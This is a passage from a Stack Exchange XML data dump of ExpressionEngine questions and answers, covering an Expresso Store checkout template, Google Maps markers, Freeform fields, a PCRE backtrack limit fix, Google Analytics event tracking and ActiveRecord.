span=&quot;1&quot; style=&quot;width: 16%;&quot;&amp;gt;&#xA;            &amp;lt;col span=&quot;1&quot; style=&quot;width: 16%;&quot;&amp;gt;&#xA;            &amp;lt;/colgroup&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th&amp;gt;&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Price&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Qty&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;                {items}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path='store_example/product'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;small&amp;gt;&#xA;                        &amp;lt;b&amp;gt;SKU:&amp;lt;/b&amp;gt; {sku}&amp;lt;br /&amp;gt;&#xA;                        {modifiers}&#xA;                        &amp;lt;b&amp;gt;{modifier_name}&amp;lt;/b&amp;gt;: {modifier_value} {if price_mod_val}({price_mod}){/if}&amp;lt;br /&amp;gt;&#xA;                        {/modifiers}&#xA;                        &amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;price&quot;&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;input name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;input-mini&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {/items}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th class=&quot;middle&quot; colspan=&quot;1&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Totals&quot; class=&quot;button--solid&quot; /&amp;gt;&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;middle text--right&quot; colspan=&quot;3&quot;&amp;gt;Subtotal: &amp;lt;span class=&quot;price&quot;&amp;gt;{order_subtotal}&amp;lt;/span&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;div class=&quot;table--cart extra&quot;&amp;gt;&#xA;            &amp;lt;table class=&quot;table--cart&quot;&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td class=&quot;middle&quot;&amp;gt;Promo Code&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot; class=&quot;middle&quot;&amp;gt;{field:promo_code}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;middle&quot;&amp;gt;{order_discount}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {if order_handling_val}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;Handling&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{order_handling}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {/if}&#xA;                {if tax_name}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{tax_name} ({tax_percent}%)&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{order_tax}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th class=&quot;price text--right&quot; colspan=&quot;4&quot;&amp;gt;&amp;lt;h4&amp;gt;Total:&amp;lt;/h4&amp;gt; {order_total}&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;order_details&quot; style=&quot;clear: both;&quot;&amp;gt;&#xA;            {if no_items}&#xA;            {redirect=&quot;shop-online/index&quot;}&#xA;            {/if}&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;columns medium-12 large-12&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;columns medium-6 large-6&quot;&amp;gt;&#xA;                            &amp;lt;fieldset&amp;gt;&#xA;                                &amp;lt;h3 class=&quot;section__title&quot;&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    {billing_address1}&amp;lt;br/&amp;gt;&#xA;                                    {billing_address2}&amp;lt;br/&amp;gt;&#xA;                                    {billing_city} {billing_postcode}&amp;lt;br/&amp;gt;&#xA;                                    {billing_state_name}&amp;lt;br/&amp;gt;&#xA;                                    {billing_country_name}&amp;lt;br/&amp;gt;&#xA;                                    {billing_phone}&amp;lt;br/&amp;gt;&#xA;                                    {order_email}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;columns medium-6 large-6&quot;&amp;gt;&#xA;                            &amp;lt;fieldset&amp;gt;&#xA;                                &amp;lt;h3 class=&quot;section__title&quot;&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                                    {if shipping_same_as_billing}&#xA;                                    &amp;lt;p&amp;gt;Same as Billing Details&amp;lt;/p&amp;gt;&#xA;                                    {if:else}&#xA;                                    &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    {shipping_address1}&amp;lt;br/&amp;gt;&#xA;                                    {shipping_address2}&amp;lt;br/&amp;gt;&#xA;                                    {shipping_city} {shipping_postcode}&amp;lt;br/&amp;gt;&#xA;                                    {shipping_state_name}&amp;lt;br/&amp;gt;&#xA;                                    {shipping_country_name}&amp;lt;br/&amp;gt;&#xA;                                    {shipping_phone}&amp;lt;/p&amp;gt;&#xA;                                    {/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;fieldset class=&quot;columns medium-6 large-6&quot;&amp;gt;&#xA;                        &amp;lt;h3 class=&quot;section__title&quot;&amp;gt;Payment&amp;lt;/h3&amp;gt;&#xA;                        {if error:payment_method}&#xA;                        &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;&#xA;                        &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_method&quot; name=&quot;payment_method&quot; value=&quot;Stripe&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;label for=&quot;payment_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; data-stripe=&quot;name&quot; value=&quot;&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;label for=&quot;payment_card_no&quot;&amp;gt;Card No&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; data-stripe=&quot;number&quot; value=&quot;&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;                        &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;payment_exp_month&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;select id=&quot;payment_exp_month&quot; data-stripe=&quot;exp-month&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                                {exp_month_options}&#xA;                            &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;select id=&quot;payment_exp_year&quot; data-stripe=&quot;exp-year&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                                {exp_year_options}&#xA;                            &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;payment_csc&quot;&amp;gt;CSC&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; id=&quot;payment_csc&quot; value=&quot;&quot; data-stripe=&quot;cvc&quot; class=&quot;input-mini&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; id=&quot;order_custom1&quot; name=&quot;order_custom1&quot; value=&quot;&quot; /&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;order_button&quot;&amp;gt;&amp;lt;a href=&quot;{path='shop/checkout'}&quot; class=&quot;button--solid&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;span class=&quot;order_button&quot;&amp;gt;&amp;lt;input id=&quot;checkout_submit&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; class=&quot;button--solid&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-02-09T16:44:34.670" Title="Expresso Store, shipping address not working" Tags="|expresso-store|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27214" PostTypeId="1" CreationDate="2014-12-22T14:12:14.603" Score="0" ViewCount="205" Body="&lt;p&gt;ExpressionEngine 2.9.2&#xA;Google Maps for ExpressionEngine 3.3.8&#xA;Geocoder 1.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel for branches and on the single entry page the map correctly displays the branches location using this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;embed-container&quot;&amp;gt;&#xA;{exp:gmap:init id=&quot;map&quot; scrollwheel=&quot;false&quot;  style=&quot;width:1200px;height:460px&quot;}&#xA;&#xA;{exp:gmap:center id=&quot;map&quot; address=&quot;{branch_address} {branch_city}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{exp:gmap:marker id=&quot;map&quot; latitude=&quot;{branch_latitude}&quot; longitude=&quot;{branch_longitude}&quot; zoom=&quot;13&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However on the landing page where I need to have a map showing all branches across Canada it is not working correctly. There are currently 27 branches but on the google map only 4 are displaying and they are not in the correct location. Furthermore the infobox for all pins contains exactly the same data rather than the data for that pins location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;branches&quot; disable=&quot;member_data|pagination|categories|category_fields&quot; limit=&quot;300&quot;}&#xA;&#xA; {exp:gmap:marker &#xA;  id=&quot;map&quot; &#xA;  latitude=&quot;{branch_latitude}&quot; &#xA;  longitude=&quot;{branch_longitude}&quot;&#xA;  duplicate_markers=&quot;false&quot;&#xA;  icon=&quot;/images/map-pin.png&quot;&#xA;  geocode=&quot;true&quot; &#xA;  clustering=&quot;false&quot;&#xA;  latitude=&quot;48&quot; &#xA;  longitude=&quot;-83&quot;&#xA;  limit=&quot;100&quot;&#xA;&#xA;  infobox=&quot;true&quot;&#xA;  offsetY=&quot;-40&quot;&#xA;  offsetX=&quot;0&quot;&#xA;  class=&quot;entry-{entry_id} ui-infobox-dark&quot;&#xA;  closeBoxMargin=&quot;5px&quot;&#xA;}&#xA;  &amp;lt;div class=&quot;ui-infobox-content&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;    {branch_address} &amp;lt;br&amp;gt;&#xA;    {branch_city} {branch_province} &amp;lt;br&amp;gt;&#xA;    {branch_postcode} &amp;lt;br&amp;gt;&#xA;    Work Phone: {branch_phone} &amp;lt;br&amp;gt;&#xA;    Toll Free: {branch_toll_free} &amp;lt;br&amp;gt;&#xA;    Fax Number: {branch_fax}&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:gmap:marker}&#xA;&#xA;{!--&#xA;// add active class to branch card to highlight it.&#xA;--}&#xA;{exp:gmap:event id=&quot;map&quot;}&#xA;  $('.block article.entry{entry_id}').addClass('active');&#xA;&#xA;  $( &quot;.ui-infobox-dark  img&quot; ).click(function() {&#xA;    $('.block article').removeClass('active');&#xA;  });&#xA;&#xA;{/exp:gmap:event}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of different approaches and scoured the documentation but cannot seem to figure out what I'm doing wrong. Please advise.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-12-22T14:12:14.603" Title="Google Maps for ExpressionEngine Multiple Markers - incorrect display" Tags="|templates|google-maps-for-ee|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27216" PostTypeId="2" ParentId="27198" CreationDate="2014-12-22T14:27:36.550" Score="0" Body="&lt;p&gt;Just in case anyone stumbles across this. For the onOk function add the following line of code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b.setAttribute(&quot;class&quot;, &quot;video-container&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this after the var declaration and before the insertElement function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work for any of the CKEditor plugin functions but double check the variable name first. &lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-12-22T14:27:36.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27217" PostTypeId="1" CreationDate="2014-12-22T15:46:41.533" Score="0" ViewCount="177" Body="&lt;p&gt;I have a contact form which uses the freeforms country select field. I also have a email notification template which I use to notify the admin. In this email notification template I display the selected country using {country} tag. The value displayed for the {country} tag is a short form of the selected country name. For example if 'United States' is selected, I get 'us' displayed in the email, but I want the full country name 'United States' to be displayed in my email. How do I do that? Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3850" LastActivityDate="2014-12-22T15:46:41.533" Title="Display selected country option from solspace freeform - country select field in email notification template" Tags="|solspace-freeform|solspace|solspace-tag|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27218" PostTypeId="1" AcceptedAnswerId="27227" CreationDate="2014-12-22T17:45:30.330" Score="1" ViewCount="81" Body="&lt;p&gt;asked this on stackoverflow before realizing there was a stackexchange site for expression engine, hope nobody minds i'm copying my question to here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am modifying an expression engine channel entry, there are a number of fields for this channel in a group and two are grids. in the template, i have loops that go through the rows in the grid and output various fields. this is all working as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i recently wanted to add some content, and when i did my existing loops were no longer parsed, just output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_name0}&#xA;    &amp;lt;div&amp;gt;stuff&amp;lt;/div&amp;gt;&#xA;{/grid_name0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and any &lt;code&gt;{grid_name0:fieldname}&lt;/code&gt; were replaced with empty string/nothing. other tags continued to work correctly, including tags and a grid loop in the new content i added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after debugging a bit, i discovered that there is a specific amount of text that will break it, i can add a comment to the template like&#xA;    &lt;code&gt;&amp;lt;!-- 01234567890123456789012345678901234567890123456789 --&amp;gt;&lt;/code&gt;&#xA;that when i get to a certain length it will break the page. this seems like maybe a memory limit is being reached before expression engine processes all the content, i checked various areas for memory limits and they seem to be set at reasonable values (and this is a pretty simple/light site), however i suspect there is a limit set somewhere that i am not aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is on expression engine 2.7.2 with php 5.2.17, i can provide additional details from phpinfo if desired but the php memory_limit is set to 512M (which, frankly, seems like way overkill).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;possibly related, but one of the things i was adding is an &quot;advanced&quot; condition with an &lt;code&gt;{if:else}&lt;/code&gt;, if i have this present but less text than is required to break the page it will also break in the exact same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2014-12-23T17:16:52.607" Title="expressionengine stopped parsing some tags after adding some content" Tags="|grid|loop|parse|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27219" PostTypeId="1" CreationDate="2014-12-22T18:49:27.960" Score="0" ViewCount="121" Body="&lt;p&gt;I am trying to add Event Tracking to a FreeForm submit button so that when the user clicks the button it tracks the event in Google Analytics. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am running into is that regardless of how I try formatting the onClick event, it keeps getting stripped out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:submit attr:class=&quot;btn btn--active&quot; attr:value=&quot;Send&quot; attr:data-ng-hide=&quot;formSent&quot; attr:onClick=&quot;ga('send', 'event', { eventCategory: 'Contact', eventAction: 'Form', eventLabel: 'Project'});&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:submit attr:class=&quot;btn btn--active&quot; attr:value=&quot;Send&quot; attr:data-ng-hide=&quot;formSent&quot; attr:onclick=&quot;ga('send', 'event', { eventCategory: 'Contact', eventAction: 'Form', eventLabel: 'Project'});&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally I just removed all of capitalization:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:submit attr:class=&quot;btn btn--active&quot; attr:value=&quot;Send&quot; attr:data-ng-hide=&quot;formSent&quot; attr:onclick=&quot;ga('send', 'event', { eventcategory: 'contact', eventaction: 'form', eventlabel: 'project'});&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Regardless the outcome is always the same:&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Send&quot; class=&quot;btn btn--active&quot; data-ng-hide=&quot;formSent&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the onClick code is completely removed. Any ideas on what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3891" LastActivityDate="2015-03-22T21:54:15.170" Title="Freeform Pro 4.1.3 and Google Event Tracking" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27220" PostTypeId="2" ParentId="27212" CreationDate="2014-12-22T19:33:33.063" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow noreferrer&quot;&gt;seg2cat&lt;/a&gt; will make your life easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The index template inside your template_group will catch anything (depending on your use of other add-ons such as Structure or Pages and your strict 404 settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in /template_group/index you want to detect the relevant elements of the URL to then deliver your entry. IMO, your URL is a bit pointless - are you really going to have different entries in different categories on the same day to justified such a specific URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only bit that counts is the url_title, which has to be unique through EE anyway, so in your index template, {exp:channel:entries} with the parameters dynamic=&quot;no&quot;, require_entry=&quot;yes&quot; and the all essential url_title=&quot;{&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;last_segment&lt;/a&gt;}&quot;, will display your entry.  Everything else in the URL is not used and ignored, which then leads you to the problem of duplicate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the above approach will generate the same results for all these URLS...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.mysite.com/template_group/2014/12/12/category_name/url_title&lt;/li&gt;&#xA;&lt;li&gt;www.mysite.com/template_group/2014/12/12/url_title&lt;/li&gt;&#xA;&lt;li&gt;www.mysite.com/template_group/2014/12/url_title&lt;/li&gt;&#xA;&lt;li&gt;www.mysite.com/template_group/2014/url_title&lt;/li&gt;&#xA;&lt;li&gt;www.mysite.com/template_group/url_title&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you must have them in the URL, you'll need to check they're correct and in the correct place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To validate the date in the landing template use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_2}/{segment_3}/{segment_4}&quot; != &quot;{entry_date format=&quot;%Y/%m/%d&quot;}&quot;} {redirect=&quot;404&quot;} {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of {last_segment} you could use {segment_6}, but you'll need to get the entry in the template to validate all th other bits - like dates, etc. The category_name is a lot easier and faster if you utilise seg2cat (it's free) and then you can use it in the parameters of the channel:entries call which will make it more secure and unique (less possibility of duplicate URLs and content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14888/is-it-possible-to-have-category-name-instead-of-template-group-in-uri/14892#14892&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To complete this answer I've incorporated Filippo's comment to resolve the date validation.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-12-23T21:56:13.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27221" PostTypeId="2" ParentId="27219" CreationDate="2014-12-22T20:55:20.917" Score="1" Body="&lt;p&gt;As a work around you could consider &lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/analyticsjs/events&quot; rel=&quot;nofollow&quot;&gt;using jQuery with Google Analytics&lt;/a&gt;, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('input').on('click', function() {&#xA;  ga('send', 'event', { eventcategory: 'contact', eventaction: 'form', eventlabel: 'project'});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-12-22T20:55:20.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27222" PostTypeId="2" ParentId="27201" CreationDate="2014-12-22T21:30:15.303" Score="0" Body="&lt;p&gt;Are you using this in a Keyword search? The Ignore Wordlist feature only works with Keyword searches, and will NOT work for any other searches performed on custom fields, etc. :)&#xA;&lt;a href=&quot;http://www.solspace.com/docs/super_search/results/#use_ignore_word_list&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/results/#use_ignore_word_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-22T21:30:15.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27224" PostTypeId="1" CreationDate="2014-12-23T15:37:17.167" Score="2" ViewCount="914" Body="&lt;p&gt;Can someone tell me the advantage of using ActiveRecord vs writing a plain sql query?&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-12-23T17:58:02.697" Title="Advantage of ActiveRecord over plain sql query" Tags="|sql|activerecord|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27225" PostTypeId="2" ParentId="27224" CreationDate="2014-12-23T16:34:50.097" Score="2" Body="&lt;p&gt;From the &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/database/active_record.html&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Beyond simplicity, a major benefit to using the Active Record features&#xA;  is that it allows you to create database independent applications,&#xA;  since the query syntax is generated by each database adapter. It also&#xA;  allows for safer queries, since the values are escaped automatically&#xA;  by the system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-12-23T16:34:50.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27226" PostTypeId="2" ParentId="27224" CreationDate="2014-12-23T16:37:01.640" Score="3" Body="&lt;p&gt;Reference: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;EE Database Class User Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database class (IE CodeIgniter's ActiveRecord, which really isn't ActiveRecord, &lt;a href=&quot;http://en.wikipedia.org/wiki/Active_record_pattern#PHP&quot; rel=&quot;nofollow&quot;&gt;reference&lt;/a&gt;) does some nicities for you, like escaping your queries automatically. It also allows you to reference your table names without using whatever Expression Engine table-name-prepending that occurs at install (usually something like &quot;exp_table_name&quot;). See the reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It definitely makes your code cleaner to read, and I &lt;em&gt;only&lt;/em&gt; not use it when I have to do some seriously complex SQL stuff, like building multitable search queries. I recommend it for its code cleanliness highly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what @johnathan-waters said. Although I feel that this wouldn't apply to ExpressionEngine as it is built around MySQL, and I do not know if you can easily switch DB adapters for an EE install.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2014-12-23T17:58:02.697" LastActivityDate="2014-12-23T17:58:02.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27227" PostTypeId="2" ParentId="27218" CreationDate="2014-12-23T17:16:52.607" Score="1" Body="&lt;p&gt;huge thanks to ellis labs support, they pointed me to increasing the pcre.backtrack_limit beyond the default 100000 and it now processes all the tags. in retrospect i should have checked that sooner, but run into issues with it so infrequently it never crossed my mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &lt;em&gt;system/expressionengine/config/config.php&lt;/em&gt; and add this just after the initial line (or set in php.ini):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('pcre.backtrack_limit', 100000000);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2014-12-23T17:16:52.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27228" PostTypeId="2" ParentId="27002" CreationDate="2014-12-23T17:25:09.240" Score="0" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;job_resume_directory&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;job_resume_hidden_file&quot; value=&quot;{job_resume}{file_name}{/job_resume}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That was the problem. The directory value should have been set to &quot;2&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;job_resume_directory&quot; value=&quot;2&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;job_resume_hidden_file&quot; value=&quot;{job_resume}{file_name}{/job_resume}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-12-23T17:25:09.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
